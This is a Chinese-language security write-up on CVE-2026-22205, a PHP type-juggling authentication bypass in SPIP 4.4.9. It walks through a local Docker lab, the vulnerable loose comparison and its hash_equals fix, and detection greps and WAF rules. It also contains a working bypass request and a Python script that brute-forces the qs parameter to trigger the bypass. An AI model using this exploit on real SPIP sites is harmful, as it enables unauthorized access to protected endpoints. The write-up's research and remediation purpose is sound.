关键词SPIP、PHP 类型混淆、魔法哈希、Authentication Bypass、low_sec、hash_equals、CVE-2026-22205影响版本SPIP 4.4.10漏洞版本SPIP 4.4.9修复版本SPIP 4.4.10漏洞类型认证绕过 / PHP Type Juggling复现环境本地 Docker 靶场0. 免责声明本文仅用于安全研究、代码审计学习和本地授权环境复现。文中脚本默认限制在localhost / 127.0.0.1环境运行请勿对未授权站点进行扫描、验证或攻击。1. 文章导读CVE-2026-22205 是 SPIP 中一个典型的 PHP 类型混淆认证绕过漏洞。其核心问题非常简单认证校验函数在比较用户传入的认证值和服务端计算出的哈希值时使用了 PHP 松散比较运算符。在 PHP 中类似下面的比较结果会返回true0 0e627739原因是0e627739会被 PHP 当作科学计数法形式的数值字符串即0 × 10^627739 0于是比较过程会变成0 0.0最终认证通过。这个漏洞看起来像是“一行代码”的问题但在真实复现过程中还有一个很容易被忽略的关键点公告或初始审计描述的哈希输入和运行时实际参与计算的输入可能并不完全一致。本文会从环境搭建、代码定位、原理分析、动态验证、自动化脚本和修复建议几个方面完整展开。2. 环境搭建2.1 环境信息组件版本PHP8.1 Apache 2.4DatabaseMariaDB 10.6SPIP4.4.9修复版本4.4.10管理员admin / admin123靶机地址http://localhost:99812.2 目录结构spip-cve-2026-22205/ ├── docker-compose.yml ├── Dockerfile └── www/2.3 DockerfileFROM php:8.1-apache RUN apt-get update apt-get install -y \ unzip \ wget \ libzip-dev \ libpng-dev \ libjpeg-dev \ libfreetype6-dev \ libicu-dev \ default-mysql-client \ docker-php-ext-configure gd --with-freetype --with-jpeg \ docker-php-ext-install mysqli pdo pdo_mysql gd zip intl \ a2enmod rewrite \ rm -rf /var/lib/apt/lists/* WORKDIR /var/www/html2.4 docker-compose.ymlversion: 3.8 services: db: image: mariadb:10.6 container_name: spip-db restart: unless-stopped environment: MARIADB_ROOT_PASSWORD: rootpass MARIADB_DATABASE: spip MARIADB_USER: spip MARIADB_PASSWORD: spippass ports: - 3308:3306 web: build: . container_name: spip-web restart: unless-stopped depends_on: - db ports: - 9981:80 volumes: - ./www:/var/www/html2.5 下载 SPIP 4.4.9mkdir -p spip-cve-2026-22205/www cd spip-cve-2026-22205 curl -L -o spip-v4.4.9.zip \ https://files.spip.net/spip/archives/spip-v4.4.9.zip unzip spip-v4.4.9.zip -d www如果压缩包解压后多了一层目录可以执行mv www/spip/* www/ mv www/spip/.[!.]* www/ 2/dev/null || true rmdir www/spip赋权chmod -R 777 www/config www/IMG www/local www/tmp 2/dev/null || true启动docker compose up -d --build访问http://localhost:9981浏览器进入安装向导后填写数据库信息数据库主机db 数据库名spip 数据库用户spip 数据库密码spippass创建管理员admin / admin1233. 漏洞定位3.1 5 层调用链从 HTTP 请求到认证判断大致可以抽象成 5 层调用链第 1 层HTTP 请求进入 spip.php ↓ 第 2 层actionapi_transmettre 分发到 ecrire/action/api_transmettre.php ↓ 第 3 层api_transmettre.php 解析 arg、format、fond 等参数 ↓ 第 4 层调用 verifier_low_sec() 校验轻量认证值 ↓ 第 5 层ecrire/inc/acces.php 中使用 比较认证哈希关键点在第 5 层。漏洞不是复杂的反序列化也不是 SQL 注入而是一个非常典型的 PHP 松散比较问题return ($cle afficher_low_sec($id_auteur, $action));只要服务端计算出的afficher_low_sec()结果满足魔法哈希格式0e 全数字攻击者传入0就可能通过认证。3.2 漏洞函数源码结构核心文件ecrire/inc/acces.php漏洞函数可以简化为下面的结构function afficher_low_sec($id_auteur, $action ) { // 实际代码中会结合站点 secret、作者 ID、action 等信息计算摘要 return substr(md5($id_auteur . $action . secret_du_site()), 0, 8); } function verifier_low_sec($cle, $id_auteur, $action ) { return ($cle afficher_low_sec($id_auteur, $action)); }真实代码中的afficher_low_sec()细节会更多但漏洞点并不在 MD5 本身而在比较方式$cle afficher_low_sec(...)是松散比较会触发 PHP 类型转换。安全比较应该使用hash_equals(afficher_low_sec($id_auteur, $action), (string) $cle)3.3 修复版本对比SPIP 4.4.10 中修复了该问题核心思路就是将松散比较替换为常量时间字符串比较。漏洞版本return ($cle afficher_low_sec($id_auteur, $action));修复版本return hash_equals(afficher_low_sec($id_auteur, $action), (string) $cle);这个修复有两个作用1. 不再触发 PHP 类型强制转换 2. 避免普通字符串比较可能带来的时序侧信道风险。4. 漏洞原理分析4.1 PHP 类型混淆与魔法哈希在 PHP 中会进行类型转换。测试代码?php var_dump(0 0e627739); var_dump(0 0e627739); var_dump(hash_equals(0e627739, 0));保存为magic_hash_demo.php运行php magic_hash_demo.php输出bool(true) bool(false) bool(false)含义如下表达式结果原因0 0e627739true松散比较二者都被当成数值 00 0e627739false严格比较字符串内容不同hash_equals(0e627739, 0)false按字符串安全比较不触发类型转换这就是所谓的“魔法哈希”问题。只要哈希值长得像下面这样0e123456 0e627739 0e999999并且比较时使用它就可能被 PHP 当成科学计数法形式的 0。4.2 为什么 8 字符 MD5 前缀也会出问题本漏洞中参与比较的不是完整 32 位 MD5而是 8 字符前缀。8 字符十六进制共有16^8 4,294,967,296如果目标格式是0e 6 位数字概率约为P 1/16 × 1/16 × (10/16)^6 ≈ 1/4295也就是说理论上平均尝试约 4,295 次就有机会碰到一个形如0e 6 位数字的哈希前缀。这也是该漏洞可以通过自动化请求在本地环境中较快复现的原因。4.3 公告描述与实际验证的偏差复现过程中最容易踩坑的是哈希输入。直觉上很多人会认为哈希输入包含完整的QUERY_STRING也就是 URL 中?后面的全部内容例如actionapi_transmettrearg0/0/rss/forums_publicqs1但实际动态验证发现api_transmettre.php在计算认证动作字符串之前会主动剥离部分控制参数例如action arg var_mode因此真正进入低权限认证哈希计算的可能不是完整查询串而是剥离后的业务参数。以本地实验为例公告预期 transmettre/rss forums_public actionapi_transmettrearg0/0/rss/forums_publicqs1 实际行为 transmettre/rss forums_public qs1这个差异非常关键。如果攻击脚本按照“完整 QUERY_STRING”去预测或构造输入就会一直撞不到正确结果。正确做法是结合代码审计与动态验证确认运行时真实参与计算的字符串。5. 漏洞复现5.1 基线请求无认证访问先访问本地接口不带有效认证值。示例curl -i http://localhost:9981/spip.php?actionapi_transmettrearg0/0/rss/forums_publicqsbaseline预期结果HTTP/1.1 200 OK 页面标题Accès interdit 页面正文Argument non compris这说明接口存在但轻量认证未通过。5.2 魔法哈希认证绕过思路认证绕过的核心不是猜出服务端 secret而是通过控制可变参数让服务端计算出的 8 位哈希前缀变成0e 6 位数字然后攻击者传入认证值0最终比较变成0 0e627739认证通过。本地复现实验中可以通过改变qs参数持续尝试。例如某次实验命中qs 5g8tuh server hash prefix 0e627739请求变为curl -i http://localhost:9981/spip.php?actionapi_transmettrearg0/0/rss/forums_publicvar_sec0qs5g8tuh成功时响应从错误页面变为 RSS XML 内容。对比现象场景响应特征无认证 / 未命中页面包含Accès interdit、Argument non compris魔法哈希命中返回正常 RSS XML 内容修复后即使命中魔法哈希也无法通过hash_equals()6. 自动化本地验证脚本下面脚本仅允许访问localhost / 127.0.0.1不支持公网目标。它的作用是本地靶场中枚举qs参数观察是否出现认证绕过响应。保存为spip_22205_local_check.py代码如下#!/usr/bin/env python3 # -*- coding: utf-8 -*- CVE-2026-22205 SPIP 本地授权靶场验证脚本 功能 1. 仅允许 localhost / 127.0.0.1 2. 单线程低速枚举 qs 参数 3. 不读取后台敏感数据 4. 通过响应特征判断本地环境是否存在认证绕过。 使用示例 python spip_22205_local_check.py --base http://localhost:9981 --max 10000 import argparse import random import string import sys import time from urllib.parse import urlparse import requests LOCAL_HOSTS {localhost, 127.0.0.1, ::1} def assert_local(base_url: str) - None: host urlparse(base_url).hostname if host not in LOCAL_HOSTS: raise SystemExit([!] 安全限制该脚本仅允许用于本地授权靶场。) def rand_token(length: int 6) - str: alphabet string.ascii_lowercase string.digits return .join(random.choice(alphabet) for _ in range(length)) def is_success(resp: requests.Response) - bool: text resp.text.lower() # 失败页面常见特征 if accès interdit in text or acces interdit in text: return False if argument non compris in text: return False # 成功返回 RSS/XML 的常见特征 if ?xml in text or rss in text or channel in text: return True # 兜底判断本地实验中成功响应往往更短、更像 API 输出 ctype resp.headers.get(Content-Type, ).lower() if xml in ctype: return True return False def request_once(base: str, qs_value: str, timeout: int 8) - requests.Response: url base.rstrip(/) /spip.php params { action: api_transmettre, arg: 0/0/rss/forums_public, var_sec: 0, qs: qs_value, } return requests.get(url, paramsparams, timeouttimeout) def main(): parser argparse.ArgumentParser() parser.add_argument(--base, requiredTrue, help例如 http://localhost:9981) parser.add_argument(--max, typeint, default10000, help最大尝试次数默认 10000) parser.add_argument(--sleep, typefloat, default0.01, help每次请求间隔默认 0.01 秒) parser.add_argument(--known, default, help已知候选值例如 5g8tuh) args parser.parse_args() assert_local(args.base) print([] Target:, args.base) print([] Mode: local-only, single-thread) # 先测试已知候选值便于复现实验截图 if args.known: print(f[] Testing known candidate: {args.known}) resp request_once(args.base, args.known) print([] HTTP:, resp.status_code) print([] Length:, len(resp.text)) if is_success(resp): print([!] Bypass confirmed with known candidate:, args.known) else: print([*] Known candidate not valid in this environment.) return for i in range(1, args.max 1): candidate rand_token(6) try: resp request_once(args.base, candidate) except requests.RequestException as e: print([!] Request error:, e) continue if i % 100 0: print(f[*] Tried {i} candidates, latest{candidate}, len{len(resp.text)}) if is_success(resp): print(\n[!] Possible authentication bypass!) print([] candidate qs , candidate) print([] HTTP status , resp.status_code) print([] body length , len(resp.text)) print([] first 300 bytes:) print(resp.text[:300]) return time.sleep(args.sleep) print([*] Finished. No valid candidate observed in current run.) print([*] 可增加 --max或结合源码确认实际参与 low_sec 计算的参数。) if __name__ __main__: main()运行基线枚举python spip_22205_local_check.py --base http://localhost:9981 --max 10000使用已知候选值验证python spip_22205_local_check.py \ --base http://localhost:9981 \ --known 5g8tuh成功时可能输出[] Target: http://localhost:9981 [] Mode: local-only, single-thread [] Testing known candidate: 5g8tuh [] HTTP: 200 [] Length: 426 [!] Bypass confirmed with known candidate: 5g8tuh失败时通常为[] HTTP: 200 [] Length: 13590 [*] Known candidate not valid in this environment.需要注意魔法哈希命中值和站点 secret、安装环境、参数输入均有关不同本地环境中不一定复用同一个qs值。7. 辅助本地验证 PHP 比较行为为了让漏洞原理更直观可以在容器中创建一个 PHP 文件cat www/type_juggling_test.php PHP ?php header(Content-Type: text/plain; charsetutf-8); $a 0; $b 0e627739; echo 0 0e627739 ; var_dump($a $b); echo 0 0e627739 ; var_dump($a $b); echo hash_equals(0e627739, 0) ; var_dump(hash_equals($b, $a)); PHP访问http://localhost:9981/type_juggling_test.php输出0 0e627739 bool(true) 0 0e627739 bool(false) hash_equals(0e627739, 0) bool(false)这段代码可以直接证明漏洞根因在安全上下文中不可靠。测试完成后删除rm -f www/type_juggling_test.php8. 影响与危害成功利用该漏洞后未认证攻击者可能获得原本需要轻量认证才能访问的内部接口内容。8.1 直接影响1. 绕过 low_sec 轻量认证 2. 访问受保护的 action 处理器 3. 获取 RSS 聚合、论坛监控、评论审核等内部信息流 4. 探测 SPIP 站点内部模板、插件、接口结构。8.2 间接影响1. 与其他漏洞组合扩大攻击面 2. 泄露站点内部运营信息 3. 为后续后台攻击、社工攻击、插件漏洞利用提供情报 4. 由于请求表现为普通 GET 访问日志识别难度较高。该漏洞本身主要影响机密性但如果站点中还有其他依赖low_sec的敏感动作就可能进一步放大风险。9. 修复建议9.1 官方修复升级 SPIP 至SPIP 4.4.10考虑到 4.4 分支后续仍有安全更新生产环境建议直接升级到当前官方最新稳定版本。升级后检查版本grep -n spip_version_branche ecrire/inc_version.php或者在后台查看Maintenance - Technical information9.2 手动热修复如果暂时无法整体升级可以临时修改ecrire/inc/acces.php将漏洞代码return ($cle afficher_low_sec($id_auteur, $action));替换为return hash_equals(afficher_low_sec($id_auteur, $action), (string) $cle);注意参数顺序hash_equals($known_string, $user_string)也就是第一个参数服务端计算出的可信值 第二个参数用户传入的不可信值修复后建议清理缓存并重新生成相关认证值。9.3 安全检测命令检查是否存在松散比较grep -n .*afficher_low_sec\|afficher_low_sec.* ecrire/inc/acces.php如果有输出说明可能存在风险。检查项目中哈希函数和松散比较的组合grep -rnE .*(md5|sha1|hash|hmac)|(md5|sha1|hash|hmac).* ecrire/ --include*.php检查是否使用hash_equals()grep -rn hash_equals ecrire/inc/acces.php9.4 WAF 临时缓解临时规则只能降低风险不能替代升级。Nginx 示例if ($query_string ~* (actionapi_transmettre).*(var_sec0)) { return 403; }ModSecurity 示例SecRule ARGS:action streq api_transmettre \ id:2220501,phase:2,chain,deny,status:403,msg:SPIP low_sec suspicious access SecRule ARGS:var_sec streq 0需要注意这种规则可能影响正常功能应先在测试环境验证。10. 开发侧安全建议10.1 哈希、Token、签名绝不能使用错误写法if ($_GET[token] $expected_token) { // authenticated }较好写法if (hash_equals($expected_token, (string) $_GET[token])) { // authenticated }10.2 不要依赖“看起来随机”的短哈希8 位 MD5 前缀的空间并不大且存在魔法哈希格式命中概率。涉及认证、签名、访问控制时不建议使用短哈希前缀作为唯一安全凭据。10.3 动态验证比单纯看公告更重要本次复现中最重要的发现是公告描述的输入 ≠ 运行时真实参与计算的输入api_transmettre.php会在计算前剥离action、arg、var_mode等参数。这个细节决定了攻击脚本能否成功也说明漏洞分析不能只看公告应结合1. 静态代码审计 2. 动态请求验证 3. 响应差异对比 4. 日志或断点确认。11. 总结CVE-2026-22205 是一个非常典型的“一行代码导致高危漏洞”的案例。它的核心问题可以总结为三点第一认证比较使用了 PHP 松散比较 0 0e123456 在 PHP 中可能返回 true。 第二服务端短哈希存在魔法哈希命中概率 8 字符 MD5 前缀平均约数千次尝试就可能出现 0e 全数字格式。 第三公告描述和真实代码路径可能存在偏差 api_transmettre.php 在计算前剥离部分参数导致实际哈希输入与直觉不同。最终修复方式非常明确return hash_equals(afficher_low_sec($id_auteur, $action), (string) $cle);安全开发中应牢记所有哈希、Token、签名、验证码、认证票据的比较都不要使用。在 PHP 中是便利性工具不是安全边界。认证逻辑必须使用hash_equals()或严格的常量时间比较函数。